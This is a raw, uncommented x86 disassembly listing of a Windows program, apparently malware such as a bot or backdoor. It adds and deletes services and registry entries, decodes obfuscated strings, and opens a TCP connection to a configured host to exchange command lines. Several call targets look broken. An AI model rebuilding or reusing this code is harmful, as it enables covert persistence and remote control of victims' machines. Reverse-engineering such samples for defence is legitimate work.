loc_40EF00: ; CODE XREF: sub_40ED70+3Aj
; sub_40ED70+104j ...
mov ecx, [esp+54h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 44h
retn 0Ch
sub_40ED70 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40EF90 proc near ; CODE XREF: sub_401942j
var_1C = byte ptr -1Ch
arg_0 = dword ptr 4
sub esp, 1Ch
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
call near ptr 2920AF1h
nop
mov edi, eax
test edi, edi
jnz short loc_40EFB7
pop edi
xor al, al
pop esi
add esp, 1Ch
retn 4
; ---------------------------------------------------------------------------
loc_40EFB7: ; CODE XREF: sub_40EF90+1Bj
mov ecx, [esp+24h+arg_0]
push 0F01FFh
call sub_4017E4
push eax
push edi
call near ptr 28C06A0h
nop
mov esi, eax
test esi, esi
jnz short loc_40EFE4
push edi
nop
call near ptr 29303B4h
pop edi
xor al, al
pop esi
add esp, 1Ch
retn 4
; ---------------------------------------------------------------------------
loc_40EFE4: ; CODE XREF: sub_40EF90+41j
lea eax, [esp+24h+var_1C]
push eax
push 1
push esi
nop
call near ptr 2920708h
push esi
nop
call near ptr 2920908h
push esi
mov esi, dword_50F74C
call esi
push edi
call esi
pop edi
mov al, 1
pop esi
add esp, 1Ch
retn 4
sub_40EF90 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F030 proc near ; CODE XREF: sub_401FB4j
arg_0 = dword ptr 4
push esi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
nop
call near ptr 2920AF1h
mov esi, eax
test esi, esi
jnz short loc_40F04F
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F04F: ; CODE XREF: sub_40F030+17j
mov ecx, [esp+4+arg_0]
push 0F01FFh
call sub_4017E4
push eax
push esi
call near ptr 28C06A0h
nop
test eax, eax
jnz short loc_40F076
push esi
nop
call near ptr 29303B4h
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F076: ; CODE XREF: sub_40F030+37j
push edi
mov edi, dword_50F74C
push eax
call edi
push esi
call edi
pop edi
mov al, 1
pop esi
retn 4
sub_40F030 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F0B0 proc near ; CODE XREF: sub_401FDCj
arg_0 = dword ptr 4
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
nop
call near ptr 2920AF1h
mov edi, eax
test edi, edi
jnz short loc_40F0D1
pop edi
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F0D1: ; CODE XREF: sub_40F0B0+18j
mov ecx, [esp+8+arg_0]
push 0F01FFh
call sub_4017E4
push eax
push edi
nop
call near ptr 28C06A0h
mov esi, eax
test esi, esi
jnz short loc_40F0FB
push edi
call near ptr 29303B4h
nop
pop edi
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F0FB: ; CODE XREF: sub_40F0B0+3Bj
push 0
push 0
push esi
nop
call near ptr 2910B7Eh
push esi
mov esi, dword_50F74C
call esi
push edi
call esi
pop edi
mov al, 1
pop esi
retn 4
sub_40F0B0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40F140: ; CODE XREF: ___:loc_4014A1j
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_439048
push eax
mov large fs:0, esp
sub esp, 60h
push ebx
push esi
mov esi, [esp+78h]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+19h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F23A
push 1
push offset asc_443600 ; " "
lea eax, [esp+2Ch]
push 1
push eax
mov ecx, esi
call sub_4011EA
push 1
push offset asc_443600 ; " "
lea ecx, [esp+14h]
push 2
xor ebx, ebx
push ecx
mov ecx, esi
mov [esp+84h], ebx
call sub_4011EA
lea edx, [esp+0Ch]
lea eax, [esp+24h]
push edx
push eax
mov ecx, edi
mov byte ptr [esp+7Ch], 1
call sub_401726
test al, al
jz short loc_40F206
lea ecx, [esp+0Ch]
call sub_4017E4
push eax
lea ecx, [esp+28h]
call sub_4017E4
push eax
push offset aRegAddSAsS_ ; "reg(add) \"%s\" as \"%s\"."
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 1Ch
loc_40F206: ; CODE XREF: ___:0040F1C7j
lea ecx, [esp+0Ch]
mov [esp+74h], bl
call sub_401226
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F23A: ; CODE XREF: ___:0040F176j
lea ecx, [edi+47h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F2D9
push 1
push offset asc_443600 ; " "
lea eax, [esp+2Ch]
push 1
push eax
mov ecx, esi
call sub_4011EA
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 2
push ecx
mov ecx, edi
call sub_401447
test al, al
jz short loc_40F2B2
lea ecx, [esp+24h]
call sub_4017E4
push eax
push offset aRegDelS_ ; "reg(del) \"%s\"."
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 18h
loc_40F2B2: ; CODE XREF: ___:0040F27Dj
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F2D9: ; CODE XREF: ___:0040F24Cj
lea ecx, [edi+75h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F3EF
push 1
push offset asc_443600 ; " "
lea ecx, [esp+44h]
push 1
push ecx
mov ecx, esi
call sub_4011EA
push 1
push offset asc_443600 ; " "
lea edx, [esp+14h]
push 2
push edx
mov ecx, esi
mov dword ptr [esp+84h], 3
call sub_4011EA
push 1
push offset asc_443600 ; " "
lea eax, [esp+2Ch]
mov bl, 4
push 3
push eax
mov ecx, esi
mov [esp+84h], bl
call sub_4011EA
lea ecx, [esp+24h]
lea edx, [esp+0Ch]
push ecx
lea eax, [esp+40h]
push edx
push eax
mov ecx, edi
mov byte ptr [esp+80h], 5
call sub_402153
test al, al
jz short loc_40F3AD
lea ecx, [esp+24h]
call sub_4017E4
push eax
lea ecx, [esp+10h]
call sub_4017E4
push eax
lea ecx, [esp+44h]
call sub_4017E4
push eax
push offset aServAddSAsSS_ ; "serv(add) \"%s\" as \"\"%s\" %s\"."
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 20h
loc_40F3AD: ; CODE XREF: ___:0040F364j
lea ecx, [esp+24h]
mov [esp+74h], bl
call sub_401226
lea ecx, [esp+0Ch]
mov byte ptr [esp+74h], 3
call sub_401226
lea ecx, [esp+3Ch]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F3EF: ; CODE XREF: ___:0040F2EBj
lea ecx, [edi+0A3h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F491
push 1
push offset asc_443600 ; " "
lea eax, [esp+5Ch]
push 1
push eax
mov ecx, esi
call sub_4011EA
lea ecx, [esp+54h]
mov dword ptr [esp+74h], 6
push ecx
mov ecx, edi
call sub_401942
test al, al
jz short loc_40F46A
lea ecx, [esp+54h]
call sub_4017E4
push eax
push offset aServDelS_ ; "serv(del) \"%s\"."
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 18h
loc_40F46A: ; CODE XREF: ___:0040F435j
lea ecx, [esp+54h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F491: ; CODE XREF: ___:0040F404j
mov ecx, [esp+6Ch]
pop edi
pop esi
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F590 proc near ; CODE XREF: sub_401D02j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
nop
call near ptr 77C2C407h
mov edx, eax
mov eax, [esp+0Ch+arg_0]
mov edi, esi
or ecx, 0FFFFFFFFh
mov [eax], edx
xor eax, eax
add esp, 4
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
retn
sub_40F590 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F600 proc near ; CODE XREF: sub_401695j
var_29 = byte ptr -29h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40F600
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+3Ch+var_28], esi
call sub_401E6A
lea edi, [esi+11h]
mov [esp+3Ch+var_4], 0
mov ecx, edi
call sub_4011B3
lea ebp, [esi+28h]
mov ecx, ebp
call sub_401424
lea ecx, [esi+3Dh]
mov byte ptr [esp+3Ch+var_4], 1
call sub_401424
lea ecx, [esi+56h]
mov byte ptr [esp+3Ch+var_4], 2
call sub_401749
lea ecx, [esi+84h]
mov byte ptr [esp+3Ch+var_4], 3
call sub_401749
lea ecx, [esi+0B2h]
mov byte ptr [esp+3Ch+var_4], 4
call sub_401749
lea ecx, [esi+0E0h]
mov byte ptr [esp+3Ch+var_4], 5
call sub_401749
lea ecx, [esi+10Eh]
mov byte ptr [esp+3Ch+var_4], 6
call sub_401749
lea ecx, [esi+13Ch]
mov byte ptr [esp+3Ch+var_4], 7
call sub_401749
lea ecx, [esi+16Ah]
mov byte ptr [esp+3Ch+var_4], 8
call sub_401749
lea ecx, [esi+198h]
mov byte ptr [esp+3Ch+var_4], 9
call sub_401749
lea ecx, [esi+1C6h]
mov byte ptr [esp+3Ch+var_4], 0Ah
call sub_401749
lea ecx, [esi+1F4h]
mov byte ptr [esp+3Ch+var_4], 0Bh
call sub_401749
lea ecx, [esi+222h]
mov byte ptr [esp+3Ch+var_4], 0Ch
call sub_401749
lea ecx, [esi+250h]
mov byte ptr [esp+3Ch+var_4], 0Dh
call sub_401749
lea ecx, [esi+27Eh]
mov byte ptr [esp+3Ch+var_4], 0Eh
call sub_401749
lea ecx, [esi+2ACh]
mov byte ptr [esp+3Ch+var_4], 0Fh
call sub_401749
lea eax, [esp+3Ch+var_29]
lea ecx, [esi+2DAh]
push eax
mov byte ptr [esp+40h+var_4], 10h
call sub_401721
mov dword ptr [edi], offset off_43E034
mov bl, 11h
xor edi, edi
push offset byte_446F70
mov ecx, ebp
mov byte ptr [esp+40h+var_4], bl
mov dword ptr [esi], offset off_43E028
mov byte ptr [esi+17h], 1
mov byte ptr [esi+15h], 0
mov byte ptr [esi+16h], 0
mov dword ptr [esi+18h], 0FFFFFFFFh
mov [esi+1Ch], edi
mov [esi+20h], edi
call sub_4015D7
nop
call near ptr 27F0769h
push edi
push 21h
push 28h
push 23h
lea ecx, [esp+4Ch+var_24]
push 2Ah
push ecx
mov [esi+24h], eax
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 12h
call sub_4017E4
push eax
push offset dword_4470FC
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 1Fh
push 1Dh
push 23h
push 2Eh
push 29h
lea edx, [esp+54h+var_24]
push 28h
push edx
call sub_4019B5
add esp, 20h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 13h
call sub_4017E4
push eax
push offset dword_447100
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 28h
push 23h
push 29h
lea eax, [esp+4Ch+var_24]
push 24h
push eax
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 14h
call sub_4017E4
push eax
push offset dword_447104
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 21h
push 2Dh
push 27h
push 30h
push 23h
push 2Ch
lea ecx, [esp+58h+var_24]
push 2Ah
push ecx
call sub_4019B5
add esp, 24h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 15h
call sub_4017E4
push eax
push offset dword_447108
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Eh
push 2Dh
push 29h
push 22h
push 2Ch
push 1Fh
push 2Dh
lea edx, [esp+5Ch+var_24]
push 2Fh
push edx
call sub_4019B5
add esp, 28h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 16h
call sub_4017E4
push eax
push offset dword_44710C
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 46h
push 47h
lea eax, [esp+48h+var_24]
push 47h
push eax
call sub_4019B5
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 17h
call sub_4017E4
push eax
push offset dword_447110
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 46h
push 44h
lea ecx, [esp+48h+var_24]
push 47h
push ecx
call sub_4019B5
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 18h
call sub_4017E4
push eax
push offset dword_447114
call sub_401D02
add esp, 8
mov byte ptr [esp+3Ch+var_4], bl
lea ecx, [esp+3Ch+var_24]
call sub_401226
push edi
push 21h
push 28h
push 29h
lea edx, [esp+4Ch+var_24]
push 2Ah
push edx
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 19h
call sub_4017E4
push eax
push offset dword_447118
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Dh
push 2Dh
push 1Bh
lea eax, [esp+4Ch+var_24]
push 2Ah
push eax
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Ah
call sub_4017E4
push eax
push offset dword_44711C
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 25h
push 1Dh
push 23h
lea ecx, [esp+4Ch+var_24]
push 28h
push ecx
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Bh
call sub_4017E4
push eax
push offset dword_447120
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Ch
push 1Fh
push 2Dh
lea edx, [esp+4Ch+var_24]
push 2Fh
push edx
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Ch
call sub_4017E4
push eax
push offset dword_447124
call sub_401D02
add esp, 8
mov byte ptr [esp+3Ch+var_4], bl
lea ecx, [esp+3Ch+var_24]
call sub_401226
push edi
push 47h
push 49h
lea eax, [esp+48h+var_24]
push 47h
push eax
call sub_4019B5
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Dh
call sub_4017E4
push eax
push offset dword_447128
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 25h
push 1Dh
push 23h
lea ecx, [esp+4Ch+var_24]
push 25h
push ecx
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Eh
call sub_4017E4
push eax
push offset dword_44712C
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Eh
push 2Ch
push 1Bh
lea edx, [esp+4Ch+var_24]
push 2Ah
push edx
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Fh
call sub_4017E4
push eax
push offset dword_447130
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 1Fh
push 1Eh
push 29h
lea eax, [esp+4Ch+var_24]
push 27h
push eax
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 20h
call sub_4017E4
push eax
push offset dword_447134
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 45h
push 44h
lea ecx, [esp+48h+var_24]
push 44h
push ecx
call sub_4019B5
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 21h
call sub_4017E4
push eax
push offset dword_447138
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 49h
push 44h
lea edx, [esp+48h+var_24]
push 44h
push edx
call sub_4019B5
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 22h
call sub_4017E4
push eax
push offset dword_44713C
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Eh
push 23h
push 2Fh
lea eax, [esp+4Ch+var_24]
push 2Bh
push eax
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 23h
call sub_4017E4
push eax
push offset dword_447140
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
mov ecx, [esp+3Ch+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 2Ch
retn
sub_40F600 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 180h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40FD70 proc near ; CODE XREF: ___:004019C4j sub_401A3Cj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4013C0
sub_40FD70 endp
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_40FD88
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_40FD88: ; CODE XREF: ___:0040FD7Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40FDA0 proc near ; CODE XREF: sub_4013C0j
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40FDA0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43E028
mov dword ptr [esi+11h], offset off_43E034
lea ecx, [esi+2DAh]
mov [esp+14h+var_4], 10h
call sub_401B54
sub_40FDA0 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+2ACh]
mov byte ptr [esp+10h], 0Fh
call sub_401023
lea ecx, [esi+27Eh]
mov byte ptr [esp+10h], 0Eh
call sub_401023
lea ecx, [esi+250h]
mov byte ptr [esp+10h], 0Dh
call sub_401023
lea ecx, [esi+222h]
mov byte ptr [esp+10h], 0Ch
call sub_401023
lea ecx, [esi+1F4h]
mov byte ptr [esp+10h], 0Bh
call sub_401023
lea ecx, [esi+1C6h]
mov byte ptr [esp+10h], 0Ah
call sub_401023
lea ecx, [esi+198h]
mov byte ptr [esp+10h], 9
call sub_401023
lea ecx, [esi+16Ah]
mov byte ptr [esp+10h], 8
call sub_401023
lea ecx, [esi+13Ch]
mov byte ptr [esp+10h], 7
call sub_401023
lea ecx, [esi+10Eh]
mov byte ptr [esp+10h], 6
call sub_401023
lea ecx, [esi+0E0h]
mov byte ptr [esp+10h], 5
call sub_401023
lea ecx, [esi+0B2h]
mov byte ptr [esp+10h], 4
call sub_401023
lea ecx, [esi+84h]
mov byte ptr [esp+10h], 3
call sub_401023
lea ecx, [esi+56h]
mov byte ptr [esp+10h], 2
call sub_401023
lea ecx, [esi+3Dh]
mov byte ptr [esp+10h], 1
call sub_401226
lea ecx, [esi+28h]
mov byte ptr [esp+10h], 0
call sub_401226
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_402031
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40FF60 proc near ; CODE XREF: sub_40212Bj
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_1C = byte ptr 20h
arg_1E = word ptr 22h
arg_20 = dword ptr 24h
arg_24 = dword ptr 28h
arg_28 = dword ptr 2Ch
arg_2C = dword ptr 30h
arg_34 = byte ptr 38h
arg_4C = byte ptr 50h
arg_64 = byte ptr 68h
arg_7C = byte ptr 80h
arg_94 = byte ptr 98h
arg_AC = byte ptr 0B0h
arg_C4 = byte ptr 0C8h
arg_DC = byte ptr 0E0h
arg_F4 = byte ptr 0F8h
arg_10C = byte ptr 110h
arg_124 = byte ptr 128h
arg_13C = byte ptr 140h
arg_154 = byte ptr 158h
arg_16C = byte ptr 170h
arg_184 = byte ptr 188h
arg_19C = byte ptr 1A0h
arg_1B4 = byte ptr 1B8h
arg_1CC = byte ptr 1D0h
arg_1E4 = byte ptr 1E8h
arg_1FC = byte ptr 200h
arg_214 = byte ptr 218h
arg_22C = byte ptr 230h
arg_244 = byte ptr 248h
arg_25C = byte ptr 260h
arg_274 = byte ptr 278h
arg_28C = byte ptr 290h
arg_2A4 = byte ptr 2A8h
arg_2BC = byte ptr 2C0h
arg_2D4 = byte ptr 2D8h
arg_2EC = byte ptr 2F0h
arg_304 = byte ptr 308h
arg_31C = byte ptr 320h
arg_334 = byte ptr 338h
arg_34C = byte ptr 350h
arg_364 = byte ptr 368h
arg_37C = byte ptr 380h
arg_394 = byte ptr 398h
arg_3AC = byte ptr 3B0h
arg_3C4 = byte ptr 3C8h
arg_3DC = byte ptr 3E0h
arg_3F4 = byte ptr 3F8h
arg_408 = byte ptr 40Ch
arg_40C = byte ptr 410h
arg_464 = byte ptr 468h
arg_2464 = dword ptr 2468h
arg_246C = dword ptr 2470h
arg_2470 = dword ptr 2474h
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_4395D3
push eax
mov eax, 2478h
mov large fs:0, esp
call sub_436840
push ebx
push ebp
mov ebp, ecx
push esi
push edi
lea ecx, [esp+1Ch+var_4]
call sub_401424
mov al, [ebp+17h]
xor ebx, ebx
cmp al, bl
mov [esp+1Ch+arg_2470], ebx
jz loc_411330
loc_40FFA2: ; CODE XREF: sub_40FF60+13CAj
mov al, byte_4E6E84
mov edi, dword_50F8A4
cmp al, bl
jz loc_411330
mov eax, [ebp+20h]
cmp eax, ebx
jnz short loc_40FFCA
cmp dword ptr [ebp+1Ch], 5
jg short loc_40FFD4
cmp eax, ebx
jz loc_41010E
loc_40FFCA: ; CODE XREF: sub_40FF60+5Aj
cmp dword ptr [ebp+1Ch], 2
jle loc_41010E
loc_40FFD4: ; CODE XREF: sub_40FF60+60j
mov eax, [ebp+18h]
mov [ebp+16h], bl
cmp eax, 0FFFFFFFFh
mov [ebp+15h], bl
jz short loc_40FFE9
push eax
call near ptr 71AB9639h
nop
loc_40FFE9: ; CODE XREF: sub_40FF60+80j
mov ecx, offset word_448C9E
mov dword ptr [ebp+18h], 0FFFFFFFFh
call sub_401537
mov esi, [ebp+20h]
inc esi
mov [ebp+20h], esi
lea esi, [ebp+2DAh]
mov ecx, esi
call sub_401974
mov ecx, [ebp+20h]
dec eax
cmp ecx, eax
jbe short loc_410019
mov [ebp+20h], ebx
loc_410019: ; CODE XREF: sub_40FF60+B4j
mov eax, [ebp+20h]
mov ecx, esi
push eax
mov [ebp+1Ch], ebx
call sub_40146A
mov ecx, [eax]
add ecx, 16Dh
push ecx
push offset byte_44742D
mov ecx, offset word_448D16
call sub_401F32
mov edx, [ebp+20h]
mov ecx, esi
push edx
call sub_40146A
mov eax, [eax]
mov ecx, offset word_448D16
add eax, 1B6h
push eax
push offset dword_4473E4
call sub_401F32
mov ecx, [ebp+20h]
push ecx
mov ecx, esi
call sub_40146A
mov edx, [eax]
mov ecx, offset word_448D16
push edx
push offset dword_4472C0
call sub_401F32
mov eax, [ebp+20h]
mov ecx, esi
push eax
call sub_40146A
mov ecx, [eax]
add ecx, 124h
push ecx
push offset word_447352
mov ecx, offset word_448D16
call sub_401F32
mov edx, [ebp+20h]
mov ecx, esi
push edx
call sub_40146A
mov eax, [eax]
mov ecx, offset word_448D16
add eax, 0DBh
push eax
push offset byte_447309
call sub_401F32
mov ecx, [ebp+20h]
push ecx
mov ecx, esi
call sub_40146A
mov edx, [eax]
mov ecx, offset word_448D16
add edx, 92h
push edx
push offset byte_44739B
call sub_401F32
mov eax, [ebp+20h]
mov ecx, esi
push eax
call sub_40146A
mov ecx, [eax]
add ecx, 1FFh
push ecx
push offset byte_4474BF
mov ecx, offset word_448D16
call sub_401F32
call edi
mov [ebp+24h], eax
loc_41010E: ; CODE XREF: sub_40FF60+64j
; sub_40FF60+6Ej
mov edx, [ebp+18h]
cmp edx, 0FFFFFFFFh
jnz short loc_410138
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
push 7D0h
mov [ebp+18h], eax
mov [ebp+15h], bl
nop
call near ptr 2850303h
jmp loc_411327
; ---------------------------------------------------------------------------
loc_410138: ; CODE XREF: sub_40FF60+1B4j
cmp [ebp+15h], bl
jnz loc_4102C8
mov ax, word_44736C
xor edx, edx
mov [esp+20h+arg_20], edx
push eax
mov [esp+24h+arg_24], edx
mov word ptr [esp+24h+arg_20], 2
mov [esp+24h+arg_28], edx
mov [esp+24h+arg_2C], edx
call near ptr 71AB2B66h
nop
mov ecx, offset byte_447309
mov [esp+24h+arg_1E], ax
call sub_4017E4
push eax
call sub_40187F
add esp, 4
mov [esp+24h+arg_20], eax
call edi
mov edx, [ebp+18h]
lea ecx, [esp+24h+arg_1C]
push 10h
push ecx
push edx
mov [ebp+24h], eax
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jnz short loc_4101B8
push 2710h
call near ptr 2850303h
nop
mov eax, [ebp+1Ch]
mov [ebp+15h], bl
inc eax
mov [ebp+1Ch], eax
jmp loc_411327
; ---------------------------------------------------------------------------
loc_4101B8: ; CODE XREF: sub_40FF60+23Cj
mov byte ptr [ebp+15h], 1
mov [ebp+16h], bl
call edi
mov [ebp+24h], eax
xor eax, eax
mov [esp+30h+arg_0], eax
lea ecx, [esp+30h+arg_20]
mov [esp+30h+arg_4], eax
lea edx, [esp+30h+arg_0]
mov [esp+30h+arg_8], eax
push ecx
mov [esp+34h+arg_C], eax
mov eax, [ebp+18h]
push edx
push eax
mov [esp+3Ch+arg_20], 10h
call near ptr 71AB951Eh
nop
mov ecx, [esp+3Ch+var_4+3]
mov edx, [esp+3Ch+var_4+2]
mov eax, [esp+3Ch+var_4+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+40h+var_4]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
lea edx, [esp+4Ch+arg_408]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push edx
call sub_5EE1E5
nop
add esp, 18h
lea eax, [esp+3Ch+arg_408]
lea ecx, [ebp+3Dh]
push eax
call sub_4015D7
lea ecx, [esp+3Ch+arg_408]
push ecx
nop
call near ptr 71AB2BF4h
push offset byte_446F70
mov ecx, offset byte_44739B
mov [ebp+52h], eax
call sub_4012EE
test eax, eax
jz short loc_410287
mov ecx, offset byte_44739B
call sub_4017E4
mov edx, dword_44711C
push eax
push edx
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E0B
add esp, 10h
loc_410287: ; CODE XREF: sub_40FF60+305j
